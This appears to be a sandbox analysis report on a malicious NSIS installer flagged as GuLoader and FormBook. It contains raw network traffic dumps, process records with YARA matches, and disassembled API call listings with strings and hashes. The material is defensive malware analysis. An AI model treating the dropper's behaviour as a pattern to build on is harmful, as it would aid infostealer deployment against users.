Sep 12, 2024 21:15:57.006676912 CEST	1289	IN	Data Raw: bd c9 c3 72 75 c2 17 84 55 ba be dd e6 26 34 38 40 76 42 fb f3 ca e7 d3 b9 6e 6b 51 20 e2 8a 95 5a d6 b9 b5 a4 dd 51 cc d8 0b 3d 6d 5a ae 82 3d 9e 75 35 83 6a 6e ef 10 0e 76 43 46 58 d9 e7 54 87 29 42 b4 c3 99 ff d6 e7 96 14 9b 09 0c ef 0b ad a9 Data Ascii: ruU&48@vBnkQ ZQ=mZ=u5jnvCFXT)B>-RK6?]8dXaeZ\s>RTc,t2&<xGQ&K?g a$ptL[.;q# eFL:P~Bt&T\|Q^\|zBm+F`
Sep 12, 2024 21:15:57.006828070 CEST	1289	IN	Data Raw: 52 cb d0 2a 58 39 bf 42 cd fd bf 8b 5e c8 d9 0c de 29 a9 03 8a 93 8c a7 d6 7f 89 f4 ee 53 ff 35 a3 b7 5d d5 ca f5 7b 49 88 2d 7a 90 65 8b 29 0a d0 fa 25 9a aa a5 1f c9 d1 06 07 1d 86 c6 ef 35 fa 7d 3d 9b a1 c5 47 ab c4 a7 bd c9 c3 72 75 c2 17 84 Data Ascii: R*X9B^)S5]{I-ze)%5}=GruU&48@vBnkQ ZQ=mZ=u5jnvCFXT)B>-RK6?]8dXaeZ\s>RTc,t2&<xGQ&K?g a$ptL[
Sep 12, 2024 21:15:57.229809999 CEST	1289	IN	Data Raw: c4 94 e2 21 79 ee 2e 02 57 16 ed 9d b4 06 79 e5 c4 f9 7f 74 f8 f9 fb 21 0c e9 f4 2b a1 c5 4a 3b f3 cd 64 2c be 21 b0 47 6e ea 49 38 63 e0 67 24 77 8b 2c 21 07 ae 07 92 51 60 8b a7 bd 0b f0 23 bb 41 10 df ca ad 55 d1 6f a8 17 17 91 5b 80 bf 78 07 Data Ascii: !y.Wyt!+J;d,!GnI8cg$w,!Q`#AUo[x-cZI:ceEAp_5vpU^w-z/)h%QA{b2\|`6%My;1K.V+:!r=71b$^[3D/]M}1\LW]h.9cz
Sep 12, 2024 21:15:57.229825974 CEST	1289	IN	Data Raw: b0 d7 b4 cf 2d d7 33 d5 0a da 36 4b 66 2a 08 64 6e 44 ba fa 06 02 28 3c f7 2c eb ed 7f 7c b9 e7 70 1f 32 df 6d c5 e0 ff 83 90 30 68 70 cf 1d 72 d1 71 c9 ce c5 b6 23 b3 d0 ff 71 0e 72 b6 0b 33 68 db d7 ed 96 07 0d 30 4a 28 5f ab 0a dd 81 98 21 55 Data Ascii: -36Kf*dnD(<,\|p2m0hprq#qr3h0J(_!U,ID'hfn)+!yIo<d]8I[w"MPbI1HYWnT@&6C[2d}`5Ptb^B=/6.%y9T}=#H3L\|3V`0m4Az
Sep 12, 2024 21:15:57.229933023 CEST	1289	IN	Data Raw: 18 e0 55 af 78 5d 5a bd aa 2e be 0b 2f 0f 80 cb 11 a0 40 89 4e 80 62 9b 26 25 1f 3f 8a ff 24 0e d5 71 4e f9 1a 81 76 0c ad 15 26 7f 28 ca ad 5d 1c 01 3f 9e fc 95 8f ed a4 03 4f 2e 4a 83 cf da 7b 52 4e 50 46 1f 56 86 d9 83 b7 5c 7e 0e 7c 75 1c fd Data Ascii: Ux]Z./@Nb&%?$qNv&(]?O.J{RNPFV\~\|ular.Pv2\brRxOdkzn >V8vq,L'9^w7DQg7UWJ,<\eDEp1PZ3h*,>yM`\r
Sep 12, 2024 21:15:57.230046988 CEST	1289	IN	Data Raw: 2c 29 e6 dc 61 51 ea bd e5 ba f3 fd 09 e3 34 8f 09 bf fb e9 fb bf e8 0f cf ff 55 f4 9d dd fb f6 52 78 96 3c e6 62 db 1d 12 79 51 a7 e1 15 ad 77 df 1f dd 13 8b 69 36 35 fa 25 0c 78 30 bf ca e6 a1 d8 5c e9 34 a7 db ab 5b 45 19 ea ee 0d eb c6 f5 fa Data Ascii: ,)aQ4URx<byQwi65%x0\4[Eo{i@=oY4li[\|]G)bt%sL>&.Kf)\nC>.`(<`UgvWyizOD,evAh)
Sep 12, 2024 21:15:57.230057955 CEST	1289	IN	Data Raw: bd 83 bf 51 cb d8 fa 17 8f 48 7d f1 ed 91 8e 84 1b 85 ee b8 a1 25 59 39 71 d9 72 f2 2f f3 09 15 31 8d af d6 16 3d 08 70 03 f9 e5 89 85 10 ef 5f d0 64 1b 26 60 65 8b bd 8f f3 37 a8 04 d0 92 1c c7 23 29 3c 31 80 b5 c1 7d 5d a7 d6 6d 63 0f 4f d0 2d Data Ascii: QH}%Y9qr/1=p_d&`e7#)<1}]mcO-N?"%E@C%.DFp>N1\+9/05~8t0.g>1-_E74RIjx6%y(s2RMRzt)f[YWbb-Ad'9
Sep 12, 2024 21:15:57.230179071 CEST	1289	IN	Data Raw: 7b 92 dc a1 f0 0d 44 5d 3d 4e 12 a6 45 2c 65 90 99 fa 22 ca b9 cf a5 11 1f 16 33 43 0c 3e 7b 2d 5e c8 90 76 0f 52 84 a3 c7 72 3e 1a 77 c5 45 f7 9f 2f c2 25 6a 94 44 1b 56 9b f5 dc b5 bf 59 67 8f f5 a3 53 82 8f e7 00 2c 08 92 77 9f 1b f7 f5 b0 a8 Data Ascii: {D]=NE,e"3C>{-^vRr>wE/%jDVYgS,wOc:PN%Y2u?sTS][4&)JtU/MyGv!TMV=?RaKMkX3$.cU)+cW_S6Lwvb2i#E+
Sep 12, 2024 21:15:57.230314970 CEST	1289	IN	Data Raw: 2e c8 46 2b d2 13 e6 59 69 a7 a8 8f e9 cf 07 a2 47 87 e3 59 02 3a 0e be 6b d7 3e b4 10 30 70 f3 28 58 85 af 57 cf 0d 5f 36 52 b9 e5 99 65 a5 34 68 a0 ed 10 bd 17 d3 76 20 1b b4 5d 64 29 57 21 36 e3 63 84 50 a2 84 bd 74 03 a4 e7 cf a1 9a 30 8c d0 Data Ascii: .F+YiGY:k>0p(XW_6Re4hv ]d)W!6cPt0V6qYYyLa>%(r7+`VGW~@tj1^/jwoe8wFe]0rCvwYaM[>*Jp7^^jLY^%Q~(ftUQ6#

Target ID:	0
Start time:	15:14:35
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"
Imagebase:	0x400000
File size:	626'090 bytes
MD5 hash:	4DD85E61424127B013BD9B3106B63FFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.790743497304.0000000006DB1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:15:36
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"
Imagebase:	0x400000
File size:	626'090 bytes
MD5 hash:	4DD85E61424127B013BD9B3106B63FFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:16:09
Start date:	12/09/2024
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16'696'840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:16:10
Start date:	12/09/2024
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\powercfg.exe"
Imagebase:	0xbd0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:18:45
Start date:	12/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff7827f0000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.6%
Dynamic/Decrypted Code Coverage:	14.4%
Signature Coverage:	19.5%
Total number of Nodes:	1468
Total number of Limit Nodes:	41

Executed Functions

Function 00403217 Relevance: 77.3, APIs: 27, Strings: 17, Instructions: 337
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403238
SetErrorMode.KERNELBASE(00008001), ref: 00403243
OleInitialize.OLE32(00000000), ref: 0040324A

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

SHGetFileInfoA.SHELL32(0041ECB8,00000000,?,00000160,00000000,00000009), ref: 00403272

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

GetCommandLineA.KERNEL32(00422F00,NSIS Error), ref: 00403287
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",00000000), ref: 0040329A
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",00000020), ref: 004032C5
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033C2
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033D3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033DF
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033F3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FB
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040340C
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403414
DeleteFileA.KERNELBASE(1033), ref: 00403428
OleUninitialize.OLE32(?), ref: 004034D6
ExitProcess.KERNEL32 ref: 004034F6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",00000000,?), ref: 00403502
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 0040350E
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040351A
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403521
DeleteFileA.KERNEL32(0041E8B8,0041E8B8,?,00424000,?), ref: 0040357A
CopyFileA.KERNEL32(C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,0041E8B8,00000001), ref: 0040358E
CloseHandle.KERNEL32(00000000,0041E8B8,0041E8B8,?,0041E8B8,00000000), ref: 004035BB
GetCurrentProcess.KERNEL32(00000028,?,00000006,00000005,00000004), ref: 00403614
ExitWindowsEx.USER32(00000002,80040002), ref: 0040366C
ExitProcess.KERNEL32 ref: 0040368F

Strings

C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe, xrefs: 00403589
TMP, xrefs: 0040340F
SeShutdownPrivilege, xrefs: 00403626
\Temp, xrefs: 004033D9
C:\Users\user\AppData\Local\Temp\, xrefs: 004033B7, 004033BC, 004033D2, 004033DE, 004033ED, 004033FA, 00403406, 0040340E, 00403501, 0040350D, 00403519, 00403520, 004035CF
Error launching installer, xrefs: 0040348E
", xrefs: 004032EA
1033, xrefs: 00403423
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004033A7, 004034A8, 00403527, 00403530
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004034B3
Low, xrefs: 004033F5
~nsu.tmp, xrefs: 004034FC
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403227
TEMP, xrefs: 00403407
NSIS Error, xrefs: 00403278
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 0040328D, 00403293, 0040344C
C:\Users\user\Desktop, xrefs: 00403507, 0040350C, 0040352F

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$1033$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-2071999593
Opcode ID: a00b215820a1fa6a230efcb39fea29283eff6eac4ca07d0765cafeb017810fa6
Instruction ID: 3d26bb40307c87b2cd60c260c775e6d0301d96a10e68b952128d49a18977981a
Opcode Fuzzy Hash: a00b215820a1fa6a230efcb39fea29283eff6eac4ca07d0765cafeb017810fa6
Instruction Fuzzy Hash: 85B107706082517AE721AF659D8DA2B3EACEB41706F04447FF541BA1E2C77C9E01CB6E

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BC
GetDlgItem.USER32(?,000003EE), ref: 004051CB
GetClientRect.USER32(?,?), ref: 00405208
GetSystemMetrics.USER32(00000002), ref: 0040520F
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405230
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405241
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405254
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405262
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405275
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405297
ShowWindow.USER32(?,00000008), ref: 004052AB
GetDlgItem.USER32(?,000003EC), ref: 004052CC
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004052DC
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052F5
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405301
GetDlgItem.USER32(?,000003F8), ref: 004051DA

Part of subcall function 00404021: SendMessageA.USER32(00000028,?,00000001,00403E52), ref: 0040402F

GetDlgItem.USER32(?,000003EC), ref: 0040531D
CreateThread.KERNEL32(00000000,00000000,Function_000050F1,00000000), ref: 0040532B
CloseHandle.KERNELBASE(00000000), ref: 00405332
ShowWindow.USER32(00000000), ref: 00405355
ShowWindow.USER32(?,00000008), ref: 0040535C
ShowWindow.USER32(00000008), ref: 004053A2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053D6
CreatePopupMenu.USER32 ref: 004053E7
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053FC
GetWindowRect.USER32(?,000000FF), ref: 0040541C
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405435
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405471
OpenClipboard.USER32(00000000), ref: 00405481
EmptyClipboard.USER32 ref: 00405487
GlobalAlloc.KERNEL32(00000042,?), ref: 00405490
GlobalLock.KERNEL32(00000000), ref: 0040549A
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004054AE
GlobalUnlock.KERNEL32(00000000), ref: 004054C7
SetClipboardData.USER32(00000001,00000000), ref: 004054D2
CloseClipboard.USER32 ref: 004054D8

Strings

Tosporet Setup: Installing, xrefs: 0040544D

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Tosporet Setup: Installing
API String ID: 590372296-1449912710
Opcode ID: ddce3f407c61e1ebc3cac1cca45d68d18475e72ad548d40fcbdeb08d48be2a44
Instruction ID: 24acf85f457993e5d1a00f4a74fbc0a00d7f38a893508f9c9f1f5035b4e63235
Opcode Fuzzy Hash: ddce3f407c61e1ebc3cac1cca45d68d18475e72ad548d40fcbdeb08d48be2a44
Instruction Fuzzy Hash: 5FA15BB1900208BFDB219FA0DD89AAE7F79FB08355F10407AFA04B61A0C7B55E51DF69

Function 00405D58 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000), ref: 00405E09
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E84
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E97
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405ED3
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00405EE1
CoTaskMemFree.OLE32(00000000), ref: 00405EEC
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F0E
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000), ref: 00405F60

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E53
Call, xrefs: 00405D7F, 00405E51, 00405E6E, 00405E83, 00405E96, 00405EB2, 00405EDD, 00405F0D, 00405F13, 00405F2B, 00405F3E, 00405F59, 00405F5F, 00405F6A, 00405F94
Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll, xrefs: 00405D87
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F08

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-999531440
Opcode ID: 0d90defceccf7a3314d6588998510e1a0ef65c4c2f55f086f079bc5466073577
Instruction ID: 9c0e267699f90c8e910d98bdf84d4b8f2614ab6024826f89c9d009b20b1e8bc4
Opcode Fuzzy Hash: 0d90defceccf7a3314d6588998510e1a0ef65c4c2f55f086f079bc5466073577
Instruction Fuzzy Hash: 10610571A04905ABDF215F64DC84B7B3BA8DB55304F10813BE641B62D1D33C4A42DF9E

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040561F
lstrcatA.KERNEL32(00420D00,\*.*,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 00405667
lstrcatA.KERNEL32(?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 00405688
lstrlenA.KERNEL32(?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040568E
FindFirstFileA.KERNELBASE(00420D00,?,?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040569F
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 0040574C
FindClose.KERNEL32(00000000), ref: 0040575D

Strings

\*.*, xrefs: 00405661
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 004055F6
C:\Users\user\AppData\Local\Temp\, xrefs: 00405604

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2307195989
Opcode ID: 82da6914721141c23c952b2a557d454053f92afbcbfffd72d9d73708a50b9132
Instruction ID: a1a18f6d4a87cf364f513f4d5348cf8987bf6841df45d5f239a42b9e89fe31fb
Opcode Fuzzy Hash: 82da6914721141c23c952b2a557d454053f92afbcbfffd72d9d73708a50b9132
Instruction Fuzzy Hash: 8051D230905A04FADB216B618C89BBF7AB8DF42714F54803BF445721D2D73C4942EE6E

Function 00406310 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction ID: 49e2905b870d629617cd54a3ad4ea64d750052a334705c7e6b68d35cedeefd19
Opcode Fuzzy Hash: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction Fuzzy Hash: 28F17970D00229CBCF28CFA8C8946ADBBB1FF45305F25856ED856BB281D3785A96CF45

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040208B
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407374,?,?), ref: 00402143

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004020CB

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
